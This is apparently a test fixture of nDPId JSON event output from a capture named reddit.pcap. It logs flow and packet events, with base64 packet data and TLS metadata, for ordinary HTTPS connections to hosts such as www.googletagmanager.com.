+00593{"flow_id":26,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2407,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":610090,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"qtsDr8lk5EKm5WPyht1gD4BTAIMGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXidvHABuwi2OfZscTnegBgB9TOvAAABAQgKJEDu8sLXPpwXAwMAXgAAAAAAAAABjw9BEk2YJbGDeK86aZew3Mf7D\/Z5M1FLMpMQ8HdpJQ50oLyOWImN6mqth6m\/RP\/40Ks638qoxbNS0Zu2LZ7kKA4tnQgaNqn6+tnLpBt0GmlBEff7vHo="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2460,"source":"reddit.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1605291687642,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:816::2008","src_port":39520,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2460,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":642048,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDI7+ACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAImmABu4PHuxgAAAAAoAL9IGTNAAACBAWgBAIICsL4XLwAAAAAAQMDBw=="} +00467{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2543,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":676357,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgWAAAAAAAAIAgqAcsBIEmLB5kd7IUo3\/YpAbuaYOcfuuGDx7sZoBJXgGbFAAACBAV4AQMDAwQCCArC1z7qwvhcvA=="} +00454{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2544,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":676396,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDI7+ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAImmABu4PHuxnnH7rigBAB++qzAAABAQgKwvhc38LXPuo="} +01146{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2546,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":678071,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDI7+AiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAImmABu4PHuxnnH7rigBgB+7zOAAABAQgKwvhc4MLXPuoWAwECAAEAAfwDA2DQ5OxREVO95xl1cBrII9zoe+SeXEyLTL2RY3d38wEfIDXqjNmx1LhM5R6ahoCjZqYoEOLjS9cTu1r8mF5O4+z+ACBqahMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZMaGgAAAAAAHQAbAAAYd3d3Lmdvb2dsZXRhZ21hbmFnZXIuY29tABcAAP8BAAEAAAoACgAIamoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArAClqagABAAAdACC7Hzx8NSeckRnAno888LeBaZNAd1ZxsSahddbprKYQMwAtAAIBAQArAAsK6uoDBAMDAwIDAQAbAAMCAAIKCgABAAAVAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00826{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2546,"source":"reddit.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":4,"flow_first_seen":1605291687642,"flow_last_seen":1605291687678,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:816::2008","src_port":39520,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.googletagmanager.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00456{"flow_id":27,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2552,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":714410,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgWAAAAAAAAIAgqAcsBIEmLB5kd7IUo3\/YpAbuaYOcfuuKDx70egBALMN9QAAABAQgKwtc\/EsL4XOA="} +02096{"flow_id":27,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2554,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":721930,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgWAAAAAAAAIAgqAcsBIEmLB5kd7IUo3\/YpAbuaYOcfuuKDx70egBgLMF3EAAABAQgKwtc\/GsL4XOAWAwMAegIAAHYDA\/uZrX8h7IXawYrQ5wq389KsjGrAZZxygtjHu2ETGvNqIDXqjNmx1LhM5R6ahoCjZqYoEOLjS9cTu1r8mF5O4+z+EwEAAC4AMwAkAB0AILpVX8x4ygKiHNxcRJVxoY9tp\/Mj4c5TuAiBG\/OYn5oNACsAAgMEFAMDAAEBFwMDCsS0rkF2GAmTyZck1Ppv8aMyalfo9ib0EEMCzz1Q\/kqQ4aJlc\/Vf48jPZRR3ksOezlCPYMNTcQGgHVEN2edvC0GPeDUVJ5k1YTazs9lsfNBQ2K7sFeoaGS8sLjpYme867NCIflvW1EOUX306GCAJZQbFt0dRpAVr9I7lDRz9Z\/75XUjAcuY2L9VkIn5B2ndhluZ5xuqs8GFxp57QP+OV4oST3ArNg1uExRHcBoIdbbBynusxveIeOnRwlV09HqgJGKiBvSWQynxv7DviobRppO8aH8cc\/JoSITJREU5YKB0HEp64EgQzNYnZPyebo0Gl2knvrn1G9d79ZFnJlnzC\/uOAMjec5RY+LgMBvb20GZYaj2+zW76INxKuDv5MjHSpW8OwrzKSARXNVUJxofdnfhIbgqQeYupH4\/Ezh7N5VFEgdGmx3dEVvbZPYhBgUfxAbedQK37U4onqkQ4+03pbJt3wNSgJa46vdIfbxGbWpLKHvHIAbOPbeDCBDhYmQ1uSP1CVqz3QHnb2A7UTW6nkojlHNP3U4ZNdwTeRfu5oo5oX6Io2qcgFuc7QBdtShIKyDNJzWvVo3xXTm0v1yEtrbF+zSy1mSYUwZvIl1UjRCzuCqnHCT4kA1WNL8+2LCish1UxufclmZKFACs+zIOyrc9l0BF5aT2+enAC03FQVmbJ+QJGXSbyAsfH1An7rQ7x4gZ+kdbh3RCUfXoY7WtXrp9J4UhiUtfpe0N\/gIYBsSDv3D\/Z31\/PEQWl7uvVXBh3bjEqL5Xl+pJr9QCsz7jYKaDkdruwm\/duVN4F34knp1NQ989pgA\/294cAc+e\/WTZVDIdsEYIDrm8J3NADidPhKacYVdEyFerx2TqHMdGJfcFLQpLRQSACeO2DtFtBlKctfD7hMC4erSyNEj14+2OTc39Pv3xNGYVAXGkm8MKi5sYDSYSF\/A1vkT19jYc5bMDWSIfHTaOgHH6XQ7z1hpK1caPI14ufEANnDAiurcD1NqZO6bizMfqGUz45lyXrm7Z1bGcMDGewxpB0ux\/SXwNGHVhxVlaJ6rSk5pqjE5hDuGEqvxmNk+eycQ6M7t+fmw9RB1cronnDEnq5rL9J6F9GGJtIKzDtBgBSq5M10i74GZPT30lBBH9IiXq1WdOttLVufaBrFnpIEXcv5tYBNJKnF5mtt7skXuThNkyEEQzHV0g24NZgFNDKk9a\/z+z4YPuXJCN4NrkZTfyEqSDcVJbCAsv9aQWRw0\/waz64cT4QVPA4aobMQMeKO4IJpGG31ImJg\/qt9I0lIMLzuDFS4EAPrBMHPzDFS+cyYmTOfjNdnE6qWKVNNw04wuWOLgQCsZjh8ZZndWRiBxouz\/nOCBn8+13z4xdhywBzSPb+kLRBRMCF0GkO729DyP\/NGl595IpO7qpNFBHQGoQA4lTpqj3DpwA=="} +00867{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2554,"source":"reddit.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":6,"flow_first_seen":1605291687642,"flow_last_seen":1605291687721,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:816::2008","src_port":39520,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"www.googletagmanager.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02092{"flow_id":27,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2555,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":721931,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgWAAAAAAAAIAgqAcsBIEmLB5kd7IUo3\/YpAbuaYOcfv5qDx70egBgLMJgYAAABAQgKwtc\/GsL4XOCc7rEqge8b9Fial0blx\/r167APa0ayVrftB7nWz5sUhEhMoZjc5gwV3ZbT5+wtEv222QUnTLzlbfEJspD1tUM5arAbc4tWqoFMYwVCZnZgrrXRBQkGMLXkK52Ifq8N6ugkO9hBFzl+W9DoKs0sGp4d+ZkgYmsD+PwB2banYEhENTdUqYIW3KsrD6FyOspQHt0N1lbWi8S\/leSvasgKMyvMpcIM3\/OCCYCTnGQa4DCaPa+nKsq30H8jU7DTsQAkNRSbN8koTKr95ZwmffCDdKbu1PUMLo1EryN8KnFPvZ2XZfWE9I70td1pH5HZMcSIhrKdGyF06mVZL5rhcQt+9MJM59SsTwpR65uPHip7ap411SReIurhQLIDP74OXEdOc05BoIsYz6JmzxF5zb+U8uLWq+2hQrH2jW7YQhReyMCZV04m2Jof1SiDdxr+0Z5j\/9aB1aRM9I8drjDskGjvKyrraoN9cx0uHUGpuEfOA2LzVTMzrcwzLDkYOyhPnIfut34kGD4ElUjFPPUTM+QebQfsbaZOM22h3qb6MI9EW4Jq17lic+W09erKV4+RWU\/TuH9wYyswdf1BM02EbTGv5ShHR482rx6XpGHwGoVSymTwHiMJ6MmbzBXvR49yCiFLA31H5sXf6aUW7gUdC09kwbbTtkS++zVfgmev342S03DLgAB7ZXbFd16DQqZzzkroMeH46cN5CkaGvT54JZ\/EhXCAIwv\/epbr3VsFxN\/B+Hk8GvqQ\/7\/NohuCNuWkGQfC5M+BpxB2BNyCIwWOXI9tkF2waIFa5FvBzPN4dFDtpdC9l6bVmbQdXkQVbmKwwO0byo9RZrLZsMwqV+wEMjOLcKKmj\/4ljUJsCh7lBTBJWOEgRdT25ItHCyU0B1Iu6AUvzw21Is+MDG6cIZUTkNgnFiG2Mo3FY3iAjt5DYY5VJTq1\/pWNSejcnrpj+yr+kVcctUzRL6F9UTXKxpG6lfhHYDuT4YSngMaDipiOFrOmZI4R5L+AjCnVLQyuHL7AjYl0O6HPgQXZD6r29X5chZow+k75960baDqg0GiIb1m9nyisviZZNzXIA2fCEwYz8RDuKWZOPffXA+gI6miGY2OWU\/rotrqGV9uY9LfcpnMoMCfxdfhVEYOe7Yun02QpQYQ3jA8PzK+A0wY4RVM7Dq1pu8j142atU+FqXOcdKD7zoTZ0TCCkFfyeTgkw80tDCQdOPAiXjgMpuzn7GBg8c4Db5pgW\/WM0iLI7j8+iXAHZFKfOzk7jxAyAWMA8G1bnZBGvE6PV3jc+M\/COdHzIr33jzXVlxdH8QwuqwbRQMAmzzmaLGASuQAPNeGDeXpDA50gbXsBif1Q8VNkikNZpqdgLtuQhOvECC64kkKjtMuUIG8tVKedxdvxuGYIW9tokcjG6pLqiyt\/ZsWESas6aEGU1IbYsqp\/Mh8ocj0Ky8IAtLU85yKFV2Ui+aykOyHy3Knbg1DNGfb4ivtV0Q6arlA6Djq7yo9LDN2vYwBZdha0PbRbj2IjYZmtp51SntXxt4NOG4ewfxcPS4OKgka86JM0RW3pfBlhNLYRbHu6kUixYNF2i\/4VPDgH8alV+3LohwjMVFH7iGUW3rIwaBw=="} +01104{"flow_id":27,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2556,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":721931,"pkt_caplen":564,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":564,"pkt_l4_len":510,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAf4GPSoAFFBABwgWAAAAAAAAIAgqAcsBIEmLB5kd7IUo3\/YpAbuaYOcfxFKDx70egBgLMKsWAAABAQgKwtc\/GsL4XODhzW8vQhdfwRxgP1ImZFIqvfCA+BJW1zMSOVH4V3QXUjjPZua6dVEn6o3Psa7mYVeXF6w+qrgtQTtJ8mXrDJTIWaqbdSvaVdhS6XfDZE2maOl20uWdYDVvC3ETtLRmQQJzin\/4K0+ZikeNY3aV\/9yYOnB7ZDE9r2oPu1rrCo0tRdaUPkk2TfRaUUqBF72pZ2Pdnd3sFWp7LlkYcG\/i2WPBn25muKIj7QN20INFXRidRlNbuTu\/qdXUTxYVs+EUEDc2ON1kWZO5fQgGChdOYywN1cryMG3xitJZXDjuBV3vxc7WywSQm8MQ809BepaPgJiDM\/FdvubOfKhsRTfKhY\/8pvWx8SbFiil9EhkaF2aGX85oSXfRUI2OScO0tZKg72Mf4bReGswLALXMxCFU1KvL49fKy45kGGqFiHFuzhndh2ApOBUuxXksWxWtwV1qZK3pJih3amkodrtjgfDKghczB4cc8ZhUxu6XcayZm0FhKynMoc41bMTOG5Gop7Ng9d9qNoizP+JtHfk3rrGydx0+STU\/7\/Bb\/wqLAFsomhhxTpZCoagekh7W5HqQurQRdad5DS+hoMjd5uOwO02qOQP0lhrDlleLhaBcc735w5HuxJSL9YBsqp8y29AblBF6"} +00454{"flow_id":27,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2557,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":721941,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDI7+ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAImmABu4PHvR7nH7+agBAB9eOfAAABAQgKwvhdDMLXPxo="} +00455{"flow_id":27,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2558,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":721956,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDI7+ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAImmABu4PHvR7nH8RSgBAB8t7qAAABAQgKwvhdDMLXPxo="} +00455{"flow_id":27,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2559,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":721959,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDI7+ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAImmABu4PHvR7nH8YwgBAB790PAAABAQgKwvhdDMLXPxo="} +00545{"flow_id":27,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2560,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":724949,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gDI7+AGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAImmABu4PHvR7nH8YwgBgB9cEoAAABAQgKwvhdD8LXPxoUAwMAAQEXAwMANTuiWZPTyxL8Q\/\/nF5weNXBYVnv5\/NleIQwSByQxH1HnaopR3O\/Q1ECJ9cRo0CMSKlyTAdFB"} +00584{"flow_id":27,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2561,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":725128,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gDI7+AHwGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAImmABu4PHvV7nH8YwgBgB9SQoAAABAQgKwvhdEMLXPxoXAwMAVzmHwSAiWI\/k3CJkJeFEnnTcskuW6crrkLQFEBiS0vl+XR65kcLDbLlGxXq3eodCHKGxcH9g9IbJ+rTMvn76iM92Yab+rZhFJh3wRl\/MCI63sBOMO1tThw=="} +00814{"flow_id":27,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2562,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":725460,"pkt_caplen":349,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":349,"pkt_l4_len":295,"pkt":"qtsDr8lk5EKm5WPyht1gDI7+AScGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAImmABu4PHvbrnH8YwgBgB9YzRAAABAQgKwvhdEMLXPxoXAwMBAizDx2A1A0vbHRpYsfJI5RLkH3Jzhy5MjXSfFOaNEDo4gIQv2afYdeTg0OoFqkrBqH2JgG\/3iCLCyAV0bizD84zlHn\/YzHdrnbRfFiAOqKwPmCJMuFCJ47FDdugVdNO5OYUwOgyMcRGRuwUlEOi9EZzNdnFOvKsQcj5pk02n6S1ZaskxVuWki00kzw0Zm\/n+56YxFaX6Y5JKH2AHrLmn8880RzJTHvGKVLI7jDzHn4kpYyB9TJdIrDoyKdAs2QmImGiwQGR9g3ZYnyDIjP8dFicLDwD5aDkbL9WTCoq7S7qHDwIUvee\/K79qfVH+0wgciRNqSXH4C6lURIbSWdTKkwXREQ=="} +00457{"flow_id":27,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2571,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":759189,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgWAAAAAAAAIAgqAcsBIEmLB5kd7IUo3\/YpAbuaYOcfxjCDx71egBALONNeAAABAQgKwtc\/P8L4XQ8="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2578,"source":"reddit.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1605291687761,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::6853:b3d1","src_port":32970,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2578,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":761761,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCTrZACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7PRgMoBuzRK2bcAAAAAoAL9IFSZAAACBAWgBAIIClvEqOkAAAAAAQMDBw=="} +00468{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2609,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":790624,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAGhTs9EqAcsBIEmLB5kd7IUo3\/YpAbuAylJzVUg0Stm4oBJXgFBhAAACBAV4AQMDAwQCCArC1z9gW8So6Q=="} +00454{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2610,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":790646,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCTrZACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7PRgMoBuzRK2bhSc1VJgBAB+9RVAAABAQgKW8SpBsLXP2A="} +01147{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2611,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":790793,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCTrZAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7PRgMoBuzRK2bhSc1VJgBgB+28mAAABAQgKW8SpBsLXP2AWAwECAAEAAfwDA36LmdTGhSoOn80oilyfPNGRp5C4BlBBz5Xd3jcwfMKTIAaF+rCsUiCOU8bqK7O8i4N8LINKpStTbOqmpKKpf9E2ACAaGhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNaWgAAAAAAFgAUAAARd3d3LmFheGRldGVjdC5jb20AFwAA\/wEAAQAACgAKAAgKCgAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKQoKAAEAAB0AIH6hi26DByeZiCnUzyO1ln0CmgKVhjsp0romzaxtOzIVAC0AAgEBACsACwqKigMEAwMDAgMBABsAAwIAApqaAAEAABUAywAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00813{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2611,"source":"reddit.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":4,"flow_first_seen":1605291687761,"flow_last_seen":1605291687790,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::6853:b3d1","src_port":32970,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.aaxdetect.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2616,"source":"reddit.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1605291687800,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::68f4:2ac8","src_port":56782,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2616,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":800179,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MN8MAAAAAoAL9IICJAAACBAWgBAIICk1+jVUAAAAAAQMDBw=="} +00457{"flow_id":28,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2626,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":820314,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGhTs9EqAcsBIEmLB5kd7IUo3\/YpAbuAylJzVUk0Stu9gBALMMj9AAABAQgKwtc\/flvEqQY="} 